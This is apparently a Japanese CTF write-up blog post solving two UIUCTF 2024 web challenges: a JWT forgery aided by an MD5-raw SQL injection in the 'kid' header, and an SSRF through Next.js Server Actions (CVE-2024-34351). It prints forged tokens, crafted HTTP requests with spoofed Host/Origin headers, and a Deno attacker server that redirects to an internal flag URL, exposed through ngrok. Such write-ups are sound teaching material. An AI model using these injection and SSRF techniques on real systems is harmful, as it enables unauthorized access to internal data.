はまやんはまやんはまやん

hamayanhamayan's blog

UIUCTF 2024 Writeups

https://ctftime.org/event/2275

[Web] Fare Evasion

ソースコード無し。I'm a Passengerという押せるボタンとI'm a Conductorという押せないボタンが置いてある。アクセスすると以下のようなJWTが手に入る。

eyJhbGciOiJIUzI1NiIsImtpZCI6InBhc3Nlbmdlcl9rZXkiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.EqwTzKXS85U_CbNznSxBz8qA1mDZOs1JomTXSbsw0Zs
->
header:  { "alg": "HS256", "kid": "passenger_key", "typ": "JWT" }
payload: { "type": "passenger" }

I'm a Passengerを押してみると、以下のようなエラーが帰ってくる。

{"message":"Sorry passenger, only conductors are allowed right now. Please sign your own tickets. \nhashed _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4 secret: a_boring_passenger_signing_key_?","success":false}

_\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4

a_boring_passenger_signing_key_?という謎のシークレットが得られたが、jwtの署名鍵として使ってみると正解だった。jwtを自由に操作できるようになった。typeをconductorにしてみたがダメ。ソースコードを修正してみる。

<script>
    async function pay() {
      // i could not get sqlite to work on the frontend :(
      /*
        db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row) => {
        ???????
       */
      const r = await fetch("/pay", { method: "POST" });
      const j = await r.json();
      document.getElementById("alert").classList.add("opacity-100");
      // todo: convert md5 to hex string instead of latin1??
      document.getElementById("alert").innerText = j["message"];
      setTimeout(() => { document.getElementById("alert").classList.remove("opacity-100") }, 5000);
    }
</script>

コメントに重大ヒントが書いてあった。headerのkidの文字列がmd5変換されてSQLに埋め込まれている。HEX文字列で埋め込まれるかと思いきや // todo: convert md5 to hex string instead of latin1?? を見るとバイナリにされて文字列エンコードされて埋め込まれる挙動になっているようだ。

そんな攻撃ベクトルある??と思いながら検索するとHackTricksにぴったりな項目があるffifdyopを使うと先頭が'or'6�]��!r,��b�になるようだ。SELECT * FROM keys WHERE kid = ''or'6�]��!r,��b�'となり、or 文字列で恒真となり、全ての情報にマッチするようになる。

なので、JWTのheader部分を{ "alg": "HS256", "kid": "ffifdyop", "typ": "JWT" }に変更して適当に署名したJWTを使って以下のようにリクエストを送るとconductorのsecretが手に入る。

POST /pay HTTP/2
Host: [redacted]
Cookie: access_token=eyJhbGciOiJIUzI1NiIsImtpZCI6ImZmaWZkeW9wIiwidHlwIjoiSldUIn0.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.zgePz4fg9QKihcFTuT8SEYy0vIwNnIuNSmb7vZuNVrE
Content-Length: 0


===>

HTTP/2 200 OK
Content-Type: application/json
Date: Sat, 29 Jun 2024 08:44:16 GMT
Server: hypercorn-h11
Content-Length: 466

{"message":"Sorry passenger, only conductors are allowed right now. Please sign your own tickets. \nhashed \u00f4\u008c\u00f7u\u009e\u00deIB\u0090\u0005\u0084\u009fB\u00e7\u00d9+ secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e\nhashed _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4 secret: a_boring_passenger_signing_key_?","success":false}

これを使って以下のようにJWTを作ってPOST /pay宛にCookie経由で送るとフラグがもらえる。

header:  { "alg": "HS256", "kid": "conductor_key", "typ": "JWT" }
payload: { "type": "conductor" }
secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e
-> 
eyJhbGciOiJIUzI1NiIsImtpZCI6ImNvbmR1Y3Rvcl9rZXkiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoiY29uZHVjdG9yIn0.9YEcZgwQH46F4wckPyovNOwao49zdlEPoQ9HdiXimK4

[Web] Log Action

ソースコード有り。Next.jsで作成されたプロジェクトが与えられる。外部にエンドポイントが無いhttp://backend/flag.txtをSSRFで呼び出してくる。

SSRF出来そうなポイントが無いので、package-lock.jsonを見るとv14.1.0だった。脆弱性無いかなーと探すとCVE-2024-34351というのが出てきた。条件はsnykによると以下の通り。

  1. Next.js (<14.1.1) is running in a self-hosted manner. これはOK
  2. The Next.js application makes use of Server Actions. あまりよく分かっていないが、Server Actionsで実行するには"use server"が必要らしい
  3. The Server Action performs a redirect to a relative path which starts with a /. redirect("/ほにゃらら")みたいな処理

以上のような部分を探してみるとfrontend/src/api/logout/page.tsxに以下のような部分がある。

<form
action={async () => {
    "use server";
    await signOut({ redirect: false });
    redirect("/login");
}}
>
<button type="submit">Log out</button>
</form>

この部分ですね。ここはログアウト処理になるため、使うにはログインが必要。手元で確認するためにfrontend/src/auth.tsを以下のように修正してadminでログインできるようにしておこう。

//if (username === "admin" && password === randomBytes(16).toString("hex")) {
if (username === "admin" && password === "123456qwerty") {

これでローカルで起動してログアウト処理をしてみる。ログアウト処理のPOSTをコピーしてきて、以下のようにHostヘッダーとOriginヘッダーをrequest catcherに差し替えてみるとHEADリクエストが飛んできた。攻撃は成立していそうである。

POST /logout HTTP/1.1
Host: [yours].requestcatcher.com
…
Origin: http://[yours].requestcatcher.com
…

ok。ここから色々試して、このPoCを改造して最終的な受け手を作った。以下のようにmain.tsを作成する。

// ref: https://github.com/azu/nextjs-CVE-2024-34351/tree/main/attacker-server
// Attacker server to test SSRF vulnerability in the target server
// https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
Deno.serve((request: Request) => {
    console.log("Request received: " + JSON.stringify({
        url: request.url,
        method: request.method,
        headers: Array.from(request.headers.entries()),
    }));
    // Head - 'Content-Type', 'text/x-component');
    if (request.method === 'HEAD') {
        return new Response(null, {
            headers: {
                'Content-Type': 'text/x-component',
            },
        });
    }
    // Get - redirect to example.com
    if (request.method === 'GET') {
        return new Response(null, {
            status: 302,
            headers: {
                Location: 'http://backend/flag.txt',
            },
        });
    }
});

これでGETでリクエストが来た時にリダイレクトしてflagのパスに移動させる。deno run --allow-net --allow-read main.tsで起動して、/opt/ngrok http 8000で外部公開する。得られたngrokのサブドメインを同様に以下のように送ってssみると、実際なぜ応答にSSRFの結果が含まれてくるか分からないが、フラグが得られた。

POST /logout HTTP/1.1
Host: [yours].ngrok-free.app
…
Origin: http://[yours].ngrok-free.app
…